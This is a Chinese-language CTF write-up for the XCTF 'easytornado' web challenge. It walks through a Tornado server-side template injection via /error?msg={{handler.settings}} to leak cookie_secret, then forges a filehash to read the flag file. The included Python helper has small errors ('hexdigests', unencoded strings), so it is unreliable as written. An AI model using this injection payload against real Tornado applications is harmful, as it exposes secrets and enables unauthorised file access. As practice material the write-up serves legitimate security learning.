欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界XCTF:easytornado

程序员文章站 2022-05-15 19:29:49
...

攻防世界XCTF:easytornado
tormado是python中的一个web应用容器

攻防世界XCTF:easytornado
三个txt
flag.txt
攻防世界XCTF:easytornado

welcome.txt
攻防世界XCTF:easytornado
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

Hints.txt
攻防世界XCTF:easytornado
filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。

测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={{datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
攻防世界XCTF:easytornado
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret

error?msg={{handler.settings}}

攻防世界XCTF:easytornado
利用这个脚本计算出filehash的值

import hashlib

def md5(s):
	md5 = hashlib.md5()
	md5.update(s)
	return md5.hexdigests()

def filehash():
	filename = '/fllllllllllllag'
	cookie_secret = '这里填hash'
	print(md5(cookie_secret+md5(filename)))

if __name__ == '__main__':
	filehash()

攻防世界XCTF:easytornado
payload

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

攻防世界XCTF:easytornado

相关标签: CTF_WEB_writeup